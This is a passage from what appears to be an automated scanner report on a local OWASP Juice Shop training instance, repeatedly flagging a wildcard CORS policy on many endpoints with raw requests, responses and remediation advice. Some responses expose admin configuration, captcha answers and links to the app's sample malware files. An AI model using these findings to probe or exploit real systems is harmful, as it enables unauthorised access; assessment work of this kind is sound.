If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/legal.md HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://knjvwccaujst.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Fri, 22 Jul 2022 15:18:50 GMT

ETag: W/"be7-182267d6e2e"

Content-Type: text/markdown; charset=UTF-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:26 GMT

Connection: close

Content-Length: 3047



# Legal Information

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam Snip





[bookmark: 805353677236263936]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/package.json.bak

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://cbykztrqceor.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/package.json.bak HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://cbykztrqceor.com





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 335285472371336192]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/quarantine

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://lmrkcpafecvb.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://lmrkcpafecvb.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:16 GMT

Connection: close

Content-Length: 9584



<!DOCTYPE html>
<html>
  <head>
    <meta charset='utf-8'> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <title>listing directoSnip





[bookmark: 2301023582497347584]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/quarantine/juicy_malware_linux_amd_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://zyvxienmzhlb.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_linux_amd_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://zyvxienmzhlb.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a6-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 166

Date: Fri, 22 Jul 2022 17:26:21 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_linux_amd_64
IDList=





[bookmark: 2595702164516627456]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/quarantine/juicy_malware_linux_arm_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://bwczepgxxpos.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_linux_arm_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://bwczepgxxpos.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a6-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 166

Date: Fri, 22 Jul 2022 17:26:22 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_linux_arm_64
IDList=





[bookmark: 5297403475935396864]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/quarantine/juicy_malware_macos_64.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://qqsmvptzgrra.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_macos_64.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://qqsmvptzgrra.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a2-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 162

Date: Fri, 22 Jul 2022 17:26:22 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_macos_64
IDList=





[bookmark: 5997502856706971648]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/quarantine/juicy_malware_windows_64.exe.url

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ukalrjlidbsq.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/quarantine/juicy_malware_windows_64.exe.url HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://ukalrjlidbsq.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:18:22 GMT

ETag: W/"a8-181c9ca8630"

Content-Type: application/octet-stream

Content-Length: 168

Date: Fri, 22 Jul 2022 17:26:26 GMT

Connection: close



[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/juice-shop/juicy-malware/raw/master/juicy_malware_windows_64.exe
IDList=





[bookmark: 2779418405644981248]
Cross-origin resource sharing: arbitrary origin trusted


/ftp/suspicious_errors.yml

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://nhztcpxmkbnw.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /ftp/suspicious_errors.yml HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://nhztcpxmkbnw.com





Response:


HTTP/1.1 403 Forbidden

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:34 GMT

Connection: close

Content-Length: 2029



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: Only .md and .pdf files are allowed!</title>
    <style>* {
  margin: 0;
  padding: 0;
  outline: 0;
}

body {
  padding: 80px 100px;
  foSnip





[bookmark: 5062540842759592960]
Cross-origin resource sharing: arbitrary origin trusted


/redirect

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://pqsgduounlxh.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /redirect?to=https://github.com/bkimminich/juice-shop HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0

Origin: http://pqsgduounlxh.com





Response:


HTTP/1.1 302 Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Location: https://github.com/bkimminich/juice-shop

Vary: Accept, Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 124

Date: Fri, 22 Jul 2022 17:26:50 GMT

Connection: close



<p>Found. Redirecting to <a href="https://github.com/bkimminich/juice-shop">https://github.com/bkimminich/juice-shop</a></p>




[bookmark: 952548253445109760]
Cross-origin resource sharing: arbitrary origin trusted


/rest/admin/application-configuration

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://dbrgqrdspruf.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/admin/application-configuration HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"4967-mk/ZLlN6r2BCMkBVNI+FpR4xKCc"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:25:28 GMT

Connection: close

Content-Length: 18791



{"config":{"server":{"port":3000,"basePath":""},"application":{"domain":"juice-sh.op","name":"OWASP Juice Shop","logo":"JuiceShop_Logo.png","favicon":"favicon_js.ico","theme":"bluegrey-lightgreen","shSnip





[bookmark: 1288498636864672768]
Cross-origin resource sharing: arbitrary origin trusted


/rest/admin/application-version

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://rrtnecnxhhgh.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/admin/application-version HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://rrtnecnxhhgh.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 20

ETag: W/"14-E6e95F0HnHVv0grANjN4u/CmV90"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:34:18 GMT

Connection: close



{"version":"14.1.1"}




[bookmark: 1949016034113499136]
Cross-origin resource sharing: arbitrary origin trusted


/rest/captcha/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://anoldhgcyuil.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/captcha/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://anoldhgcyuil.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 50

ETag: W/"32-IvAcrugcH2557+9vyhzbb54IbfQ"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:42:16 GMT

Connection: close



{"captchaId":1357,"captcha":"10-8+4","answer":"6"}




[bookmark: 6629039063106818048]
Cross-origin resource sharing: arbitrary origin trusted


/rest/continue-code

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://fyigiyoauaeq.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/continue-code HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Cookie: language=en

Origin: http://fyigiyoauaeq.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

